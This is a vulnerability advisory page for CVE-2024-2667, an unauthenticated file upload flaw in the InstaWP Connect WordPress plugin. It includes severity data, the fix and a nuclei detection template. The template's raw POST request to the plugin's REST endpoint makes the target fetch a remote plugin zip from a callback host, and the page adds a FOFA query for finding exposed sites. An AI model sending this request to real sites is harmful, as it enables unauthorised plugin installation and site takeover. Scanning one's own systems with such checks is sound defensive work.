InstaWP Connect <= 0.1.0.22 - Unauthenticated Arbitrary File Upload

criticalseverity

9.8CVSS score

5.7%likelihood of exploitation, next 30 days

93%of all CVEs are less likely

Readycheck to confirm it

The InstaWP Connect – 1-click WP Staging & Migration plugin for WordPress is vulnerable to arbitrary file uploads due to insufficient file validation in the /wp-json/instawp-connect/v1/config REST API endpoint in all versions up to, and including, 0.1.0.22. This makes it possible for unauthenticated attackers to upload arbitrary files.

Impact

Unauthenticated attackers can install and activate arbitrary WordPress plugins including vulnerable or malicious ones via the InstaWP Connect REST API endpoint.

Fix

Update InstaWP Connect plugin to version 0.1.0.23 or later.

How to confirm it

Send: POST /?rest_route=/instawp-connect/v1/config
Positive when: contains "\"status\":true" and "\"message\":" AND contains in content_type "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2024-2667 -u <target>

The full check

id: CVE-2024-2667

info:
  name: InstaWP Connect <= 0.1.0.22 - Unauthenticated Arbitrary File Upload
  author: DhiyaneshDK
  severity: critical
  description: |
    The InstaWP Connect – 1-click WP Staging & Migration plugin for WordPress is vulnerable to arbitrary file uploads due to  insufficient file validation in the /wp-json/instawp-connect/v1/config REST API endpoint in all versions up to, and including, 0.1.0.22. This makes it possible for unauthenticated attackers to upload arbitrary files.
  impact: |
    Unauthenticated attackers can install and activate arbitrary WordPress plugins including vulnerable or malicious ones via the InstaWP Connect REST API endpoint.
  remediation: |
    Update InstaWP Connect plugin to version 0.1.0.23 or later.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/f6aead8d-c136-4952-ad03-86fe0f144dea?source=cve
    - https://github.com/Nxploited/CVE-2024-2667-Poc
    - https://github.com/Puvipavan/CVE-2024-2667
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-2667
    cwe-id: CWE-434
    epss-score: 0.05747
    epss-percentile: 0.93127
    cpe: cpe:2.3:a:instawp:instawp_connect:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: instawp
    product: instawp_connect
    framework: wordpress
    fofa-query: body="/wp-content/plugins/instawp-connect/"
  tags: cve,cve2024,wordpress,wp-plugin,wp,instawp-connect,intrusive,file-upload,vkev,vuln

http:
  - raw:
      - |
        POST /?rest_route=/instawp-connect/v1/config HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        api_key={{randstr}}&override_plugin_zip=http://{{interactsh-url}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"status":true'
          - '"message":'
        condition: and

      - type: word
        part: content_type
        words:
          - 'application/json'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from